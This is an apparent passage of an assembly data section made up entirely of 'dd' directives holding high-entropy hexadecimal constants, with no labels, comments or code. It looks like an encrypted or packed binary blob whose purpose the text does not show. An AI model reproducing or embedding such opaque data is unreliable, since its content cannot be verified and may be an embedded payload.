4F0A4BBBh, 0A90D02A2h, 7CF3A732h dd 568A0DBFh, 9905056h, 0F64C92B3h, 91B7CF3Ch, 942795BBh dd 9324C87Ch, 0A1BB9796h, 761B0D34h, 30AFF952h, 0C9EE912Eh dd 98522C86h, 4E409880h, 0EE91EE9Fh, 569A809Ah, 9980995Eh dd 9380463Bh, 0DAEF55BDh, 29259B50h, 4292D29Ah, 50918092h dd 8BDF6721h, 0B72F3F1Bh, 5E024E5Fh, 0BC33BD06h, 61A14BBBh dd 0CD3EB98h, 787A7492h, 0AB82DDD3h, 1281607Ah, 2C5BABA8h dd 0E690160Eh, 61ADB821h, 3C9BC41Ch, 0C6469D07h, 47B099F2h dd 0A0FF214Ah, 32173C35h, 0D953B372h, 0F545AC82h, 1F24AA82h dd 310060D5h, 0B86C035Eh, 0D6622EFh, 0BB4D2550h, 0AFAFBF31h dd 0EA0670ACh, 0D56718DDh, 0B83D53DFh, 375B8A8Fh, 15BB4925h dd 9870E9D0h, 8030DBD9h, 255482F8h, 4054BDB3h, 1E8D1507h dd 0F501E16Eh, 1E3255E1h, 0C3C50226h, 0DC5FB115h, 33BC839h dd 258327A8h, 1BE18F71h, 161602AFh, 21F2905Ah, 8BB8DC8Bh dd 0B8FD732Dh, 2419ACACh, 0F8B0372h, 1C00A3F0h, 0BF8FBCD2h dd 5EA3ACACh, 0DD121B94h, 0A4B1F920h, 15266EFh, 0AB5C370Bh dd 680E2D2Ch, 0D065A233h, 1DF37211h, 324EF402h, 988954D1h dd 90C95480h, 22DF2C4Dh, 2B30B72Eh, 0A4363948h, 0F4E33B1Bh dd 5019FB15h, 4BB6DE0h, 661E61Eh, 1285053Bh, 72820BA0h dd 0B8992D02h, 0F157BC1h, 232FB7DFh, 5EDE43Ah, 3B5449B8h dd 3A8E79FBh, 15C60A69h, 5581FB56h, 0E32A63B9h, 54FE0991h dd 55EA08F0h, 793C244Ch, 1897A000h, 805733C3h, 3004D937h dd 0D008AFDFh, 8B3733EEh, 3B05AFDFh, 492E5Ah, 0CC1F846Fh dd 0DED7AF89h, 0A3BF8A16h, 0B89C3468h, 3B59399Eh, 5630FBF3h dd 0D3753A7Ch, 51133740h, 0AC647159h, 0AED915BBh, 23902930h dd 2B5EAD63h, 9930B4DDh, 0BFE46464h, 23B78295h, 991CFF37h dd 54D0E8AEh, 3B58C44Ah, 0A8DB9DC7h, 0EBF62327h, 0D87824B5h dd 1001830Ch, 4233DB3Ah, 27179EF4h, 0D6AF3B4Bh, 662B800Dh dd 0A7DFEF93h, 0DA152334h, 6C7ECA64h, 173908DAh, 2BFB4B3Bh dd 41EC8617h, 3973172Eh, 4A6054C3h, 7342E41Eh, 0C9FF3B57h dd 0BCF61324h, 0B3572B31h, 5C847257h, 0C8C48B90h, 8F211C95h dd 65361738h, 9D80B17h, 57210B54h, 3B5520F2h, 94D845E7h dd 5B55720Ch, 2579D556h, 0EF5B5C93h, 4D813292h, 0E35402D9h dd 92BC8028h, 3F97A96Dh, 0B165332h, 4584060h, 20718B0Ch dd 322F6050h, 727A4164h, 0DB593460h, 0C31790E9h, 33513BAFh dd 0BC80DEC7h, 3385AF92h, 0AF212756h, 59C3C1E4h, 33FB9F3Bh dd 360F2572h, 3B612B59h, 0CDB92F33h, 0E611726h, 76A7C70Bh dd 280C1B6Eh, 0A7CFDA4Bh, 2B07253Fh, 0B23ED636h, 40721BF7h dd 1A133935h, 0B456332Dh, 1F86AFC2h, 5CB0A1CFh, 0AFBE8832h dd 0E4F714AEh, 0A7499073h, 0FCAEA7AEh, 27272750h, 2CDA5F81h dd 0A85BFC03h, 6B2E4314h, 4474BE74h, 33C77355h, 46E6CF3Ch dd 3C3FB543h, 15C88FFBh, 0D0E897F2h, 7315A8ADh, 0DF3E499h dd 0DB8D7F7Ch, 5DC028E3h, 14B322F2h, 0A0A5E2BCh, 6C4FD143h dd 8F748220h, 0F8EDB80h, 636C996Bh, 306DEFA1h, 0D7259E2h dd 0D522E407h, 336951C6h, 2B2F244Eh, 1A15B73Ch, 0CD3EC914h dd 510BD6CBh, 3FE15FF3h, 922EC064h, 4BD65AF7h, 0DE25FBDAh dd 5C5647CDh, 0F5248D6h, 0FDD3E2CDh, 525D4B8Ah, 0E1E3D55Ch dd 81B364C3h, 8AA7DB69h, 0E793DA0Eh, 1BF58416h, 0D3EEA65Dh dd 611BBA33h, 785837EBh, 3F339303h, 6459E0C3h, 0F726AEA7h dd 21C83A52h, 0E743CFBFh, 0D315A421h, 0C8C5B0Eh, 392DC8C9h dd 0C83E07F1h, 6DFD90C8h, 0E06B3B73h, 79193C73h, 393B7B81h dd 0C9E8C402h, 16FF0421h, 95C95753h, 24EEA10Dh, 2F096805h dd 992A74A2h, 450E221h, 7133226h, 5730B90Fh, 0F539A31h dd 0E10DFDE0h, 0BCE7E7C9h, 50BB0FF4h, 8250D913h, 514E310Ah dd 0DCF7A369h, 0FCCF201h, 212D8371h, 0C989720Eh, 0A7D7FF36h dd 7F08A7D7h, 640677A6h, 4C2E4305h, 0EF7490Dh, 416C1C2Fh dd 48D87A3Bh, 16E68B43h dd 0CB1731B7h, 42CEE99Eh, 0F1A99DFCh, 0C8A3068Ah, 43001737h dd 0F80B2BCh, 20F46BA2h, 0B75FC04Dh, 382A604Ch, 93385BA7h dd 0A17FD356h, 0E8F4BC59h, 0AB52DC52h, 0EFBA80B8h, 0BB8092B7h dd 66262C3Dh, 320C3D3Ah, 7E564D21h, 1BE4E9ABh, 1DB8B82Bh dd 1169A782h, 6452C358h, 7BA36C52h, 829632A3h, 7043E85Fh dd 0D79AE8C0h, 873C1953h, 0C9749E0Ah, 53A74815h, 0B1953832h dd 0CEE502C1h, 0C1D231D2h, 39191E02h, 0F13F3F5h, 22CC1078h dd 233C591h, 8DEA1DEh, 198A090h, 5C539ED5h, 0FE027544h dd 85EBB9Ch, 7067DC8Dh, 9340BC20h, 0A21049BBh, 0E8803151h dd 0D578C932h, 0B408AB53h, 493C6D0Ch, 0E05EA80h, 781E4C3Fh dd 99BEE42h, 60E0432Fh, 1A0261B1h, 0C7118551h, 0EB83390Eh dd 270B68A3h, 0CCA82C4Fh, 6BF52160h, 1D5423D8h, 4EC80938h dd 2B1DD2B8h, 37320338h, 95144F1Eh, 0BC9D45Fh, 8A03E856h dd 950A5758h, 2C3DF236h, 9BA9BB7Dh, 0BF0E5F19h, 9E1EA8F7h dd 9D0D570Ah, 0AACEADA7h, 786B349Ah, 0E4160CAFh, 1AAE6C69h dd 99557ABFh, 8DBE17CFh, 1722F0h, 6ADBB42h, 8B06F147h dd 0B2C15493h, 0C36C9726h, 5E5487E0h, 0DE8CAF75h, 12841A29h dd 52FB313h, 1DE0AAFBh, 0CE8008B2h, 120DC36h, 0D5FFED80h dd 0C1EC1919h, 3C54BB3Dh, 3B8B8B37h, 12C4D606h, 0B3672BD0h dd 0C8CEA03Dh, 0B7B72660h, 0E7BD90C9h, 2ECD0823h, 366040E2h dd 0A98BBCB7h, 51B989CCh, 55166F0h, 995F309h, 1B2628CFh dd 6DCB3B61h, 1E427257h, 0B0C0B8Fh, 0F65C8099h, 9C8B13ACh dd 91DF5CADh, 18DA1D8Ch, 0D75F53A3h, 0C85E4AE4h, 3904AC2Fh dd 19810E0Ah, 0B019AE3Ch, 0BB73AD93h, 422B7308h, 1201EC8Eh dd 4169233Bh, 0E401906Ch, 555653C6h, 642648Fh, 4EF0F37h dd 213200E4h, 0C96CF96Ch, 0FCF25C84h, 0AE1B07AEh, 351C85E4h dd 90705BAh, 0A419019h, 390B906Fh, 0C0436792h, 7272032h dd 7B506DADh, 13247F25h, 54D0E973h, 20E4F657h, 0FB6EC803h dd 2A65AFFEh, 5147B92Dh, 64D9C965h, 6872714h, 0C9E3E693h dd 839B97C9h, 4253E2A9h, 0D81B3EF1h, 0D30563B7h, 748320D2h dd 97072FB3h, 54E8E99Bh, 125732BDh, 0EC762252h, 3850AD19h dd 0F76ED84Fh, 3A1D107Bh, 0B2D2833Eh, 0A8702C0Eh, 479258E2h dd 10955515h, 83BFB239h, 95E5806h, 6E4E427h, 0F6020669h dd 25E4066Eh, 0A7A8F94Fh, 5123FD96h, 6DCE042Fh, 3DEB7B06h dd 0EB3C9E28h, 74FE5009h, 0FCD3D9B0h, 0D7774EBh, 14EC07AAh dd 0EFB353C4h, 9F3F231Dh, 0B2509909h, 0BB3BE6ACh, 39E43C96h dd 7A3C664h, 5C072043h, 8D95E4F2h, 8FA9B06Fh, 81D0F647h dd 59879E22h, 21C803C5h, 0D74A5F23h, 26A2B308h, 3CB7231h dd 0C1AC210Fh, 0E7435A6Ah, 2321C838h, 5111E7E7h, 42727232h dd 0FF07523Ch, 439F20FFh, 0FF514E0Eh, 925800B9h, 0EFFFCF91h dd 4223E300h, 95C84CECh, 0E44161F7h, 0E3CF6479h, 0FDE733h dd 84B9B947h, 0AD00623Ch, 0D268CFE7h, 0D160CCDh, 960B520Fh dd 217095FFh, 89010047h, 0E4F25C81h, 0AA0A6807h, 3B0B91Fh dd 5F538EE4h, 2121DC59h, 69A90072h, 877C9182h, 0FEA407C1h dd 190B58D1h, 0E0E42640h, 0FBF26501h, 5F3010B0h, 0D008A55Bh dd 66608551h, 0FB7413E1h, 0C1075866h, 1BFB9E7Bh, 8B610473h dd 7D406E2h, 0CC01B6C5h, 1F61C97h, 2B800B8h, 852747F5h dd 6FAB591Ch, 64499872h, 0CEE4AE4Fh, 573B5B02h, 990073Bh dd 32028D79h, 0A1186A9Fh, 0DAC9D83h, 0C696ADFh, 82438FA1h dd 617457DFh, 9A11C5D1h, 406901F0h, 6652C2BCh, 60212287h dd 0C52449D9h, 8F28481h, 98719152h, 32D9E3EBh, 118A8B39h dd 9E7B0132h, 27606DEEh, 0C01D9F63h, 90CEC39Eh, 3C40D03h dd 0DAC8E47Ch, 95AA5664h, 81C97923h, 53964364h, 202833A7h dd 989BE407h, 7B01B01h, 0AEBB80FEh, 23EF90BBh, 0C90E8D74h dd 9C7C9CC3h, 6B3B1CA9h, 421C906Ah, 72326B80h, 99EE21D8h dd 8A0CEB09h, 69620326h, 8E220690h, 0A2F46E9Bh, 2A9C8BDEh dd 909D8C1Ch, 2F90B514h, 0A13D456Fh, 0D05CA0A2h, 0F055231h dd 0AB965986h, 0A93AE78Dh, 62397CF1h, 0B0446F12h, 0AF9482AEh dd 882BC367h, 27B04097h, 56088636h, 0C8EB3B9Fh, 71311AA2h dd 0F60AFAD6h, 0A351C540h, 6D106367h, 7A5A7FB1h, 3311BB12h dd 7968DC22h, 0A4E6222Fh, 9FF6024Eh, 57E5FF29h, 5860E655h dd 61D26454h, 29B09906h, 0C231DFF1h, 8F191061h, 269D1734h dd 0EBA2108Dh, 325B8A2Ah, 0AE80F888h, 6BBC1678h, 2366AD95h dd 710B0878h, 0FDD8C188h, 42683B08h, 0FF240EE7h, 656625Fh dd 6465FF81h, 0A2CDB7E6h, 53F4019Fh, 0A4107C26h, 429060C9h dd 59D2A84Fh, 160B7FF7h, 5020E0Eh, 5417C054h, 0BC1FA416h dd 908E40E4h, 98651E96h, 0D8881012h, 24945FC0h, 7C36455h dd 4E0A3BAFh, 0E724B78Bh, 89839865h, 0FB095EFFh, 378A84AFh dd 0D1E3CC9h, 1930E36Ch, 0AC9D2451h, 0F9B278B2h, 1DAFFB53h dd 7D56872Ah, 0F7E82241h, 3E05E3AFh, 3D8DA375h, 35D6E79h dd 94357AADh, 8781510Fh, 165BB151h, 25AD0161h, 2C0049C1h dd 22C907B3h, 337B57E8h, 30EC2BADh, 0BB0B7A28h, 0ED6087E6h dd 632E5045h, 0D1419B61h, 0A4BE14B0h, 27278909h, 567C2BFAh dd 0AB0349h, 0FD1FE4CEh, 0D8733071h, 63434C26h, 222B393Eh dd 379E7C8Eh, 0AFFB57A3h, 889394DBh, 0FF42BB34h, 5E7F76AFh dd 0D6526E02h, 1F6F385Ah, 136B2754h, 1A201EB8h, 48791B1Fh dd 37217716h, 51231554h, 689438AFh, 0E0B0F315h, 60973A4h dd 408DCBF7h, 0CB645EF4h, 3E6C0C06h, 0F75F3647h, 0FBA7CBA7h dd 3ADABA7h, 2692CB44h, 9637EC5Fh, 32A7F764h, 0DFDA2BDEh dd 26F44038h, 6F7605Bh, 20BD4426h, 445C945Fh, 16FA2010h dd 4D915F03h, 0DD37DC15h, 2F9E50C8h, 9DD780A1h, 0EC38101h dd 8DB3E1EAh, 0C29EEC9Dh, 326DEA1h, 0E10D306h, 3700822Bh dd 0C621DEC1h, 0C7020B38h, 78AF056Bh, 0C7108472h, 9AD8EA7h dd 7B9041EEh, 0E387A30h, 9853EC36h, 524B4436h, 0DEFD414Eh dd 622BDCC3h, 0D7A1270Bh, 0D7131311h, 19EF905Eh, 7B07270Dh dd 57BC5105h, 190ABBF5h, 0ABEF0B70h, 1BB44EC5h, 1A6DCDA3h dd 732F08A6h, 198F11A3h, 9F73A5B0h, 1677B5ECh, 4039D5D6h dd 0D0213F3Bh, 0E6C6036h, 2FB803h, 10A1391Bh, 0F6D37875h dd 0F01E6424h, 50ED939Ah, 52C0C10Dh, 79B27729h, 0A1C7BD59h dd 0B2231959h, 0B0BB15EDh, 1014D873h, 81C0E112h, 0BA7DC39Dh dd 3B6636C5h, 57940190h, 3364E40Fh, 0D6D9EE0Bh, 33B80E35h dd 6AE7340Bh, 0A53B6661h, 0D6D81477h, 0CEF68009h, 0F2332DD9h dd 5257EC3Ch, 0C1A13335h, 45FB033Bh, 0D33B12B6h, 372075B8h dd 1966F7B0h, 6227073Ah, 3D5CDC23h, 0DE09B526h, 745B8A3Bh dd 0C20D33ECh, 1B37E637h, 0C247035Ah, 0AF6D8392h, 90892F1Bh dd 1B906403h, 0B9E53F3Fh, 3F22A555h, 6EC6CFA1h, 687264D5h dd 11D9D1E4h, 0C8BC0AD7h, 50B5666h, 6718B7Dh, 2A2454BFh dd 55F0F33h, 0EC7475F2h, 0B272368h, 1321471Ah, 0DF6BC50h dd 3B43CC07h, 8A890747h, 0B8BD8219h, 6CC6CE05h, 0A60EA546h dd 68EC8707h, 3994B101h, 23499463h, 0E2822C63h, 7A71C4h dd 5AE4857Ah, 71B6773Bh, 2992F304h, 0FF3BA8C8h, 742114h dd 26F4D3CBh, 90A7EC20h, 82023067h, 681B1411h, 23210CF9h dd 223296E3h, 2F158031h dd 69E00202h, 594F1152h, 702047B7h, 0D000E26Dh, 92604B03h dd 45556376h, 5513070Ah, 0F6A04370h, 0E4B89DB8h, 6583FACh dd 0BDB3543Ah, 21951155h, 2652E2DAh, 0A65FB703h, 1F1557DEh dd 0A71642E3h, 2EC5470Fh, 9A372708h, 64543484h, 7015FF83h dd 748CF2DCh, 0DB0A96AFh, 4EEEFFA3h, 65AB3004h, 11265155h dd 690FE590h, 5494E895h, 97957268h, 0CF72725Dh, 4ADA4A9Bh dd 0B0D0F693h, 971BB827h, 32942FA9h, 0BB0393C9h, 0D5168994h dd 5C94820Bh, 0C05ED6DEh, 41470624h, 0FB799EAh, 4545FE0Ah dd 0F28DBB4Bh, 3104587Dh, 1B35A31Eh, 4F0413ABh, 4F4F5BD1h dd 180B6C36h, 0DE4F3E84h, 0C598CF4Fh, 8A7F6000h, 0ABEE0166h dd 944FE45Ah, 14D54D4Fh, 3BCE63B9h, 0D5271FB7h, 7D04082h dd 636D4BDDh, 3AF83EA5h, 2C4FD7A2h, 0D63EA3C3h, 45BBC9E2h dd 0F4A8CBF2h, 8E87BB43h, 0D09DE83Ah, 14F0E133h, 441D771Bh dd 7302D898h, 828F68E7h, 0AE9C58DBh, 0BF2387FDh, 0C0E59060h dd 24B74B1Ah, 2A7EE4B7h, 0FEE0C18Eh, 1BDAC4D8h, 5EEE6950h dd 5AB708C6h, 0DB6EC6F3h, 99F7A716h, 99D6DE1h, 14F102D9h dd 1BB4A5Fh, 0BF02B6FBh, 806F3FC1h, 301ED93Fh, 0A7F54125h dd 5D411BDBh, 0E22D50BFh, 0C00C5000h, 1070A986h, 20BB87F9h dd 0D05B7068h, 9A1FA28Fh, 924550FAh, 8F909278h, 4E2FCE02h dd 0F6603FE9h, 8BC55023h, 8FF82EFCh, 0BDAC5E11h, 0D6AD9BADh dd 0C066409h, 279EA8AFh, 0CD4A3FB9h, 781F6D54h, 0A3560212h dd 9F57E7F4h, 0EF4B7BBAh, 0CB2F3BE6h, 506A994Bh, 27C8E4C1h dd 62F610E3h, 0A7B2E15Fh, 2A2ED612h, 0FD62C125h, 78A75218h dd 5D1BAF5Fh, 511FDDAEh, 9B4F6E36h, 6BC3E9EDh, 0DE2CD578h dd 7F0C5636h, 3A004B4Eh, 0AEA771BFh, 593C3DFFh, 0D75C5D14h dd 0F973EED7h, 179228B9h, 0AE879657h, 0F62C273Ch, 1F6D014Eh dd 0DE798F3h, 0AE8E4587h, 0AA162E02h, 0D80B0F0Ah, 0C6B1B61h dd 66160620h, 2D0118CBh, 0CFA87327h, 7E081A56h, 2773C60Ah dd 58D09A88h, 5EB3A15h, 92FCC2A3h, 19001198h, 6A3D7AB8h dd 2FB82518h, 39F26B06h, 11F9AEABh, 0F1CC5DE3h, 0DBDAAFBDh dd 2B44513Ch, 0FAB38828h, 79FE4610h, 3869EAA0h, 546A32D1h dd 20D91362h, 6BA49EC6h, 38577A47h, 3FD14082h, 27591845h dd 0F3F40508h, 5A5977D9h, 0C99FAD69h, 0D3D80E01h, 29ACF7A5h dd 106C7902h, 410F8356h, 5323EC05h, 0F1EA0F69h, 0F98BF739h dd 1B0A9536h, 80578E68h, 3E40A60Fh, 0F7A4380Ch, 7BCBB304h dd 0DCFA52C0h, 6A963353h, 0AE213579h, 0A1305786h, 2AB44AAAh dd 0AC6C1168h, 0A7D1C949h, 0CE19EAABh, 0B178BA19h, 0D608D9Eh dd 1803AFC1h, 46E0C3D6h, 0A3F283D5h, 0F91AF925h, 0F622A12Dh dd 59AF8697h, 0B99AAF10h, 78460E79h, 13A6EC58h, 88DC0EB4h dd 5E1698F6h, 0D10CC64Fh, 0AF31AEA4h, 3319350h, 87386170h dd 590D40h, 3BF06FF9h, 0DDB43380h, 7AE372CBh, 121C3877h dd 0FAF28A8Fh, 0B3945217h, 987A55E0h, 0B10B74E7h, 89AEC8C7h dd 20820DFCh, 4B21C9BDh, 6E3E305h, 9D8EF53Dh, 2038680Ch dd 56770D4Fh, 4632820Ch, 91F88D2Eh, 0B8FAD62Bh, 2592399Ah dd 0E4C669Eh, 3AE52DBh, 0E8153BBh, 90F6B3D9h, 45B8118Dh dd 0F36CBDE5h, 9BA846E0h, 17409D48h, 0B1836708h, 9FBC67CCh dd 0E0468A3Ah, 8F737B63h, 9231D043h, 15F1C2Eh, 0AA4BC2EEh dd 5B0F8E83h, 8775B94h, 6154B969h, 0A4FFC761h, 2738FE6Fh dd 9E31B9Dh, 8AF7A306h, 67C8BDEh, 0C06A4F7h, 0EC8E7CDh dd 0F7A4A3FCh, 0ABA4A7A4h, 26CB4513h, 0A5CD7323h, 0F7A3C979h dd 0A4A7ABA4h, 218054A3h, 4865A323h, 0D85420C8h, 0C748E0A3h dd 2752B508h, 7E7441A4h, 0F49AE7E6h, 200DB5F6h, 0AF3008A9h dd 60B9DE96h, 5A4FBDDh, 700058D3h, 75B07D3Dh, 645A2A0Dh dd 27317EF1h, 2C38BB1Ah, 0FEF9DCDFh, 0AE827B1h, 0B868C9ADh dd 919C5302h, 0C647846Ch, 3B6AF03Fh, 47AB7D3Bh, 30761264h dd 7DAFF14Bh, 0F38029ABh, 7C3B3AA5h, 35D40163h, 1B5D0EADh dd 26EC8399h, 0F5AAE5BCh, 0CB7CEBA8h, 0EBEB8EB2h, 517F3B5Eh dd 0AB66F606h, 0EBEF4D25h, 0B2A8EBBBh, 0C641BE4Dh, 0B4015B23h dd 4EAD6649h, 76BD199Eh, 0B3B69B6Bh, 45F7E4A1h, 0E7A8BDB3h dd 874F0539h, 5BEBFA14h, 9B21E0FEh, 0AD1F3D83h, 6E736E62h dd 44120ECBh, 4BD2F931h, 0F36701A4h, 411F8F10h, 0C1BC133Ah dd 0D829BA4Eh, 1D8B5E4Ah, 9F235CD9h, 0F595053Dh, 0B5E229Ch dd 333B061Ch, 0BA7D6F7Ah, 2EF464D9h, 0CDB21CD6h, 12CEF016h dd 1BD8B1BCh, 67300505h, 0A81034Dh, 0B926AC53h, 0BB1B886Ch dd 36F27E05h, 3DF8761Bh, 0DA779B6Ch, 4E9449F0h, 882CAE89h dd 7830705Ah, 0ED9C18C1h, 7C89FF0Dh, 60A2C158h, 90CDF169h dd 0A7B316C5h, 1C3BA75Dh, 0B1404781h, 0FF4A4497h, 455F9E87h dd 1387384Dh, 0C98AAFF6h, 28253581h, 900884D0h, 0AB1EE30Bh dd 754124CFh, 0AB5C6CA1h, 4FA9009Eh, 65277CBDh, 217D9FFBh dd 0ABFCD9E4h, 0B07D573Bh, 96664736h, 0CE730658h, 1B3A12F1h dd 38E262ECh, 0D9DA7D9Ah, 3A8C41AFh, 92782489h, 60E7E919h dd 0DD2DAEFh, 0BBA9F33Eh, 87D180AAh, 1DD9C977h, 7D0BEBA5h dd 83206029h, 0AD75EE8Dh, 1D873833h, 0AB7E4F27h, 0F82027FCh dd 0CD3F4C7Bh, 755C97B8h, 0C5583381h, 9E833073h, 27881250h dd 8B704B2Eh, 764B8111h, 0B70E49Ah, 3ACC4955h, 914D3D40h dd 6A2AC2C5h, 0D8CCE0B9h, 3525E56Bh, 4C4FA671h, 74E45A0h dd 0A20C9BE7h, 426E7307h, 0BB69DDBBh, 86185449h, 3BB7DA3h dd 6A5D8Bh, 23951CACh, 90340073h, 0F22EA9Fh, 0FA2B9219h dd 4139A7EAh, 5EF6749Bh, 5A9EEB3Bh, 39E176BBh, 0E810E069h dd 5EBFBBACh, 588440B2h, 14F73BBFh, 33C18283h, 59140B85h dd 1611AFE0h, 1A422657h, 733903BFh, 0BA0BB577h, 56197560h dd 964AEE97h, 33564A50h, 0B353AC51h, 5521C81Dh, 30B61952h dd 2E0080F0h, 845B60AAh, 79875AE9h, 5F6BCCFh, 6B78C960h dd 0B3F6B075h, 320C8DB5h, 0C3AEB376h, 44625F74h, 0DB37D63Eh dd 0A0BBA711h, 0C440E16Fh, 0A43502D9h, 0F112D832h, 0D3444921h dd 88819E25h, 0D066893h, 0CD1F2D63h, 262B5D06h, 2D9C1455h dd 261691CBh, 512D6356h, 90D91B34h, 0F22D164Ah, 9C1124C0h dd 0C81F191Fh, 0E71C8E49h, 6B556B44h, 0AD9F1ED9h, 4250A153h dd 0FA5269Ch, 13D838CCh, 27B042DCh, 4E11A0A1h, 4473473Eh dd 36FBBD7Dh, 7486FB07h, 6AAFA91Bh, 2F2714D6h, 0E41CFBEh dd 2553B45Bh, 1175DBACh, 4636C391h, 63DA60A9h, 711679B5h dd 640DAC29h, 0AA693755h, 0DC2E7BE2h, 82A9FF64h, 9C03E79Dh dd 0B268ACACh, 0C39385BDh, 0A9774D3Fh, 85E715AAh, 123AAD9Dh dd 65AB6558h, 0EFCCC3Bh, 0B5C6ED14h, 0B29B469Fh, 0A136CF99h dd 8EA69CE7h, 0EC3AA748h, 4551411Dh, 0C2E2AC12h, 4FCB60E0h dd 9F37974Ch, 2AABF083h, 8B7E519Ah, 0F865CBAAh, 0D424DEDCh dd 0A9B71782h, 0E1D016E7h, 480E8010h, 93B3C3B2h, 2E0970E8h dd 4399BA32h, 0A2D906h, 4BAAAA85h, 677B352h, 6E3790Ch dd 9373C9B3h, 3F0D47AAh, 0CCCD935Eh, 7F216E83h, 0C2EC542Dh dd 423FDF1Eh, 0C7227ADAh, 58CFCC8Eh, 668091FFh, 0C3B3B19Dh dd 0EC593E0Eh, 587330Ch, 39A51B3Bh, 0B6D7E313h, 3670020Fh dd 0AC826CA8h, 591C598Eh, 1419CC8Fh, 93401C31h, 0DBAA8BCDh dd 39A72C32h, 0A75900A9h dd 0B82B266Ch, 73ABA690h, 526CDAAh, 8060A041h, 0E0193AC5h dd 69AF1A59h, 0C835557Eh, 0A9FE0D4Dh, 0A8892DA9h, 9A4506A3h dd 8793990Dh, 6533A527h, 9308AFB7h, 25F03000h, 0F5556754h dd 936113D8h, 0A6C7BDBFh, 5F3375D8h, 4FAAEF8Ah, 78751005h dd 8D0D5A54h, 643D9C45h, 4E500B59h, 0F65DC6h, 480B3EC2h dd 19393651h, 5224A0CCh, 84BD14D6h, 0D5510C9Ch, 5AC3654Eh dd 0B5096DACh, 5C33076h, 1D1BB27Dh, 16C5D6D9h, 0D919ACF5h dd 0DA0B215Ch, 0F91795EBh, 527BC638h, 7A12F6D3h, 0CCDFA9ADh dd 1B1B16CEh, 23DB2FD9h, 278BEB0Bh, 53BF045h, 0FC9737B3h dd 0A11B864Ch, 3B8F5D30h, 10179D2Bh, 432F1707h, 276721F0h dd 0B460FAE0h, 35CCEB35h, 76301B34h, 0A4873D13h, 1C3C03A9h dd 0AF35BACEh, 51960BA5h, 3BAD1611h, 0BBDA3A61h, 0F7B65D02h dd 0FDC24513h, 4D2D3544h, 0FD1A65BBh, 0B396F45Ah, 735B1D78h dd 5199A3Ah, 6841FC6Dh, 0A48C2192h, 0F1E30F6h, 61882B23h dd 4D6647A8h, 5F912E2Ah, 3807824Ch, 661C2FCFh, 0B3C8D503h dd 0D2EB0764h, 0E3446B33h, 0C88168Ch, 1EE30D47h, 191F614Ch dd 0C5BB70E3h, 0A4209F61h, 62B0B2CCh, 2A5AC28h, 0BCC3C532h dd 1672464Fh, 0BF239DEAh, 0FF45405Ah, 112105AAh, 2A2229C1h dd 0AE7841D6h, 273F0627h, 233B6128h, 53BB3BDBh, 0FBFB34E6h dd 586967C0h, 7B1BE2AFh, 0F73FFB01h, 62B0C522h, 5FA02AF6h dd 6C181BDAh, 1C6DBC76h, 0BB604D04h, 0C96E2809h, 325D360Ch dd 9B43EAF9h, 6CED0230h, 47A2FF10h, 0A6B73B2Ah, 23279996h dd 23ABF767h, 3CE30E61h, 0F7A45873h, 0AF096C71h, 2D4F0B91h dd 446C7F3Bh, 671A80EAh, 0F7A391C8h, 92301441h, 1860F31Dh dd 50BB16D9h, 133C0187h, 0F4187707h, 77AE89BAh, 0A47CAB45h dd 1C0050D9h, 2CF3ABCFh, 0C5E0281h, 22565EDCh, 85D2DE64h dd 5980C9FDh, 5E4F7BE7h, 68A03A67h, 0D6B16D06h, 6D1FB9B4h dd 67A67906h, 1752B943h, 92A0743h, 9BFC6C2Ch, 0C22E9B51h dd 21DE5418h, 2909B89Bh, 9A561703h, 665690BFh, 9280EC66h dd 0F915F024h, 0A604C514h, 0E3634408h, 9E0F7B58h, 0C579199h dd 38AB676Ah, 125B054h, 30A207FFh, 1AF728BFh, 405CAD63h dd 110CDD33h, 9037DCF0h, 1B251287h, 25D9CF08h, 36410754h dd 8EEA8383h, 5483DF04h, 610B8388h, 47A73621h, 0FA3DF7B6h dd 361BA736h, 2DBB4F4Fh, 88C8CF02h, 4B9F9F7Ch, 6F759D06h dd 56D6D46h, 42A33651h, 1BE2756Eh, 7C01DC43h, 440F8283h dd 0D1525BC7h, 39F148BAh, 0DD6D6CABh, 93724362h, 5613EDCDh dd 7A151E5Fh, 0DEF96410h, 49DB870Eh, 4DA70B6Dh, 3962084Bh dd 1B7571A3h, 3C7C8E24h, 0AF7DBB75h, 0C96616A3h, 0ACA766DEh dd 795C3FE3h, 8EAB02F3h, 0CFEC9DCCh, 0D4523967h, 770BA567h dd 57CF769Ah, 1C5F927h, 0D115AF83h, 0E77D227Dh, 0F354CF03h dd 9C030417h, 0A8846288h, 0B2CBA207h, 0D6CE6154h, 38A8479Fh dd 92A925B2h, 1772874Ah, 8416BD33h, 0FA28443Bh, 0B9072206h dd 0A82B38C5h, 1015A82Bh, 0C06F660h, 9F213B6Eh, 2BF75F78h dd 0A6A8D7A8h, 0F22C2DB3h, 491D7E88h, 0EA899BD3h, 0ED322230h dd 0D7B9C40Ch, 5A07233Ah, 24B95A1Fh, 0D87D4F62h, 9182322Ch dd 7EF3E778h, 5A82356h, 790F1232h, 11AF11C9h, 2FB816AFh dd 790B7C9Ch, 5221A8D3h, 19392C88h, 8F5111CCh, 49E4D9B2h dd 6DAF1129h, 7A555A2Dh, 0D96F1BD9h, 35A20A4Fh, 81EE6CBh dd 11953F8Ch, 5C2849D6h, 1D8C3620h, 0AEA3D290h, 6FB5B237h dd 81DDB26h, 0D7728C3Fh, 0BE47C515h, 56257602h, 0F0888704h dd 38133188h, 8233CD09h, 0A8278941h, 0F2391E27h, 97F0CC04h dd 0A8377F3Bh, 0DE3C11C0h, 0F016EF05h, 9A4DE077h, 0BB1932FCh dd 0CEF07F1Bh, 2F928309h, 793A2FD5h, 0A73641C8h, 0A837A827h dd 0E0F60613h, 3F4906D9h, 4B913427h, 0E078411h, 4DB378A5h dd 80EC7FCAh, 7E73BEF1h, 0BAB5C698h, 0DCADDEE8h, 97402627h dd 8EE30801h, 0A0B0E3D5h, 0F6BD40D0h, 0E125C088h, 5846927h dd 0BC64ECB9h, 9D8FDC9Eh, 0A8EC3E5Dh, 0E68C16E0h, 4D0D883h dd 91A88591h, 9C830E29h, 781AC81Ch, 516A5F14h, 65106693h dd 780B3ACBh, 784F2E09h, 0C36C9CE8h, 0E02C8841h, 604136Fh dd 59E40DD8h, 50939541h, 23926E44h, 8179B09Eh, 1191BD0Ah dd 5317B51Ah, 82A811FDh, 0AFF11D40h, 0D9810397h, 0AE0CEE32h dd 4B9AF484h, 4153C061h, 45876119h, 29BBC58Eh, 400E6A2Eh dd 0A766C391h, 6F0C4D96h, 0AD05CB27h, 0E9903F64h, 0CE8A580h dd 6F719158h, 67668EC8h, 34BC610Dh, 13E2AE88h, 3B43D922h dd 0AC1BBA25h, 751CC356h, 0E043E869h, 